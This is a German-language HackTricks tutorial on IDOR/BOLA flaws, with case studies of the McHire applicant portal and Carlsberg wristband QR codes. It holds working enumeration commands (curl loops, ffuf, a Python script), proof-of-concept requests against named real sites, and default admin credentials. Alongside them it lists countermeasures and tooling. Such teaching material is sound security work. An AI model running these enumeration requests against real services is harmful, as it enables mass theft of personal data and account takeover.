IDOR (Insecure Direct Object Reference)

Tip

Lernen & ĂŒben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & ĂŒben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & ĂŒben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

UnterstĂŒtzen Sie HackTricks

IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) erscheint, wenn ein Web- oder API-Endpunkt einen benutzersteuerbaren Identifikator offenlegt oder akzeptiert, der direkt verwendet wird, um auf ein internes Objekt zuzugreifen, ohne zu ĂŒberprĂŒfen, ob der Aufrufer dazu berechtigt ist, auf dieses Objekt zuzugreifen/es zu verĂ€ndern. Eine erfolgreiche Ausnutzung ermöglicht typischerweise horizontale oder vertikale Privilegieneskalation, wie z. B. das Lesen oder Ändern von Daten anderer Benutzer und im schlimmsten Fall vollstĂ€ndige Account-Übernahme oder massenhafte Datenexfiltration.

1. Potenzielle IDORs identifizieren

  1. Suche nach Parametern, die auf ein Objekt verweisen:
  • Pfad: /api/user/1234, /files/550e8400-e29b-41d4-a716-446655440000
  • Query: ?id=42, ?invoice=2024-00001
  • Body / JSON: {"user_id": 321, "order_id": 987}
  • Headers / Cookies: X-Client-ID: 4711
  1. Bevorzuge Endpunkte, die Daten lesen oder aktualisieren (GET, PUT, PATCH, DELETE).
  2. Achte darauf, ob Identifikatoren sequenziell oder vorhersagbar sind – wenn deine ID 64185742 ist, existiert wahrscheinlich 64185741.
  3. Untersuche versteckte oder alternative Flows (z. B. “Paradox team members” link in login pages), die zusĂ€tzliche APIs offenlegen könnten.
  4. Verwende eine authentifizierte Sitzung mit geringen Rechten und Àndere nur die ID wÀhrend du denselben token/cookie beibehÀltst. Das Ausbleiben einer Autorisierungsfehlermeldung ist normalerweise ein Hinweis auf IDOR.

Quick manual tampering (Burp Repeater)

PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json

{"lead_id":64185741}

Automatisierte enumeration (Burp Intruder / curl loop)

for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done

Enumerating predictable download IDs (ffuf)

Authentifizierte File-Hosting-Panels speichern hĂ€ufig pro-Benutzer-Metadaten in einer einzigen files-Tabelle und stellen einen download-Endpoint wie /download.php?id=<int> bereit. Wenn der Handler nur prĂŒft, ob die ID existiert (und nicht, ob sie dem authentifizierten Benutzer gehört), kannst du den Integer-Bereich mit deinem gĂŒltigen Session-Cookie durchsuchen und die Backups/Configs anderer Tenants stehlen:

ffuf -u http://file.era.htb/download.php?id=FUZZ \
-H "Cookie: PHPSESSID=<session>" \
-w <(seq 0 6000) \
-fr 'File Not Found' \
-o hits.json
jq -r '.results[].url' hits.json    # fetch surviving IDs such as company backups or signing keys
  • -fr entfernt 404-artige Templates, sodass nur echte Treffer ĂŒbrig bleiben (z. B. IDs 54/150 leaking full site backups and signing material).
  • Der gleiche FFUF-Workflow funktioniert mit Burp Intruder oder einer curl-Schleife — stellen Sie nur sicher, dass Sie eingeloggt bleiben, wĂ€hrend Sie die IDs inkrementieren.

Error-response oracle for user/file enumeration

Wenn ein Download-Endpoint sowohl einen username als auch einen filename akzeptiert (z. B. /view.php?username=<u>&file=<f>), fĂŒhren subtile Unterschiede in Fehlermeldungen oft zu einem oracle:

  • Nicht vorhandener username → “User not found”
  • Fehlerhafter filename, aber gĂŒltige extension → “File does not exist” (manchmal listet er auch verfĂŒgbare Dateien auf)
  • UngĂŒltige extension → Validierungsfehler

Mit einer beliebigen authentifizierten Sitzung können Sie den username-Parameter per Fuzzing testen, wĂ€hrend Sie einen harmlosen filename beibehalten, und auf den “user not found”-String filtern, um gĂŒltige Benutzer zu entdecken:

ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'

Sobald gĂŒltige Benutzernamen identifiziert wurden, Dateien direkt anfordern (z. B., /view.php?username=amanda&file=privacy.odt). Dieses Muster fĂŒhrt hĂ€ufig zur unbefugten Offenlegung von Dokumenten anderer Benutzer und zu credential leakage.

2. Echte Fallstudie – McHire Chatbot Platform (2025)

WĂ€hrend einer Bewertung des von Paradox.ai unterstĂŒtzten McHire Recruiting-Portals wurde die folgende IDOR entdeckt:

  • Endpoint: PUT /api/lead/cem-xhr
  • Authorization: user session cookie for any restaurant test account
  • Body parameter: {"lead_id": N} – 8-digit, sequential numeric identifier

Durch Verringern von lead_id konnte der Tester beliebige Bewerberdaten einschließlich full PII (Name, e-mail, phone, address, shift preferences) abrufen sowie ein consumer JWT, das session hijacking ermöglichte. Die Enumeration des Bereichs 1 – 64,185,742 legte ungefĂ€hr 64 million DatensĂ€tze offen.

Proof-of-Concept request:

curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'

Kombiniert mit Standard-Admin-Zugangsdaten (123456:123456), die Zugriff auf den Test-Account gewĂ€hrten, fĂŒhrte die Schwachstelle zu einem kritischen, unternehmensweiten Daten leak.

Case Study – Armband-QR-Codes als schwache bearer tokens (2025–2026)

Flow: Besucher der Ausstellung erhielten QR-codierte ArmbĂ€nder; beim Scannen von https://homeofcarlsberg.com/memories/ ließ der Browser die gedruckte Armband-ID nehmen, hex-encode sie und rief ein cloudfunctions.net-Backend auf, um gespeicherte Medien (Fotos/Videos + Namen) abzurufen. Es gab no session binding oder Benutzer-Authentifizierung—knowledge of the ID = authorization.

Predictability: Armband-IDs folgten einem kurzen Muster wie C-285-100 → ASCII hex 432d3238352d313030 (43 2d 32 38 35 2d 31 30 30). Der Suchraum wurde auf ~26M Kombinationen geschĂ€tzt, trivial online erschöpfbar.

Exploitation workflow mit Burp Intruder:

  1. Payload generation: Erstelle Kandidaten-IDs (z. B. [A-Z]-###-###). Verwende einen Burp Intruder Pitchfork oder Cluster Bomb Angriff mit Positionen fĂŒr den Buchstaben und die Ziffern. FĂŒge eine payload processing rule → Add prefix/suffix → payload encoding: ASCII hex hinzu, sodass jede Anfrage den vom Backend erwarteten Hex-String ĂŒbertrĂ€gt.
  2. Response grep: Markiere Intruder grep-match fĂŒr Marker, die nur in gĂŒltigen Antworten vorkommen (z. B. Medien-URLs/JSON-Felder). UngĂŒltige IDs lieferten typischerweise ein leeres Array/404.
  3. Durchsatzmessung: ~1.000.000 IDs wurden in ~2 Stunden von einem Laptop getestet (~139 req/s). Bei dieser Rate wĂŒrde der komplette Keyspace (~26M) in ~52 Stunden fallen. Der Testlauf legte bereits ~500 gĂŒltige ArmbĂ€nder offen (Videos + vollstĂ€ndige Namen).
  4. Rate-limiting verification: Nachdem der Anbieter Throttling behauptete, wurde die gleiche Intruder-Konfiguration erneut ausgefĂŒhrt. Identischer Durchsatz/Hit-Rate bewies, dass die Kontrolle fehlte/ineffektiv war; die Enumeration setzte sich ungehindert fort.

Quick scriptable variant (client-side hex encoding):

import requests

def to_hex(s):
return ''.join(f"{ord(c):02x}" for c in s)

for band_id in ["C-285-100", "T-544-492"]:
hex_id = to_hex(band_id)
r = requests.get("https://homeofcarlsberg.com/memories/api", params={"id": hex_id})
if r.ok and "media" in r.text:
print(band_id, "->", r.json())

Lektion: Encoding (ASCII→hex/Base64) fĂŒgt keine Entropie hinzu; kurze IDs werden zu bearer tokens, die trotz kosmetischer Kodierung aufzĂ€hlbar sind. Ohne benutzerbezogene Autorisierung + hochentropische Secrets können media/PII massenhaft abgeerntet werden, selbst wenn „rate limiting“ behauptet wird.

3. Auswirkungen von IDOR / BOLA

  • Horizontale Eskalation – Lesen/Aktualisieren/Löschen von Daten anderer Nutzer.
  • Vertikale Eskalation – ein Nutzer mit geringen Rechten erhĂ€lt nur fĂŒr Admins vorgesehene FunktionalitĂ€t.
  • Massenhafte Datenpanne, wenn Identifikatoren sequenziell sind (z. B. applicant IDs, invoices).
  • Account-Übernahme durch Stehlen von Tokens oder ZurĂŒcksetzen von Passwörtern anderer Nutzer.

4. Gegenmaßnahmen & Best Practices

  1. Objektbasierte Autorisierung bei jeder Anfrage durchsetzen (user_id == session.user).
  2. Bevorzugen von indirekten, nicht erratbaren Identifikatoren (UUIDv4, ULID) statt Auto-Increment-IDs.
  3. Autorisierung serverseitig durchfĂŒhren — niemals auf versteckte Formularfelder oder UI-Kontrollen vertrauen.
  4. RBAC / ABAC-PrĂŒfungen in einer zentralen Middleware implementieren.
  5. rate-limiting & logging hinzufĂŒgen, um die AufzĂ€hlung von IDs zu erkennen.
  6. Sicherheitstest jedes neuen Endpunkts (unit, integration und DAST).

5. Tooling

  • BurpSuite-Erweiterungen: Authorize, Auto Repeater, Turbo Intruder.
  • OWASP ZAP: Auth Matrix, Forced Browse.
  • Github-Projekte: bwapp-idor-scanner, Blindy (bulk IDOR hunting).

References

Tip

Lernen & ĂŒben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & ĂŒben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & ĂŒben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

UnterstĂŒtzen Sie HackTricks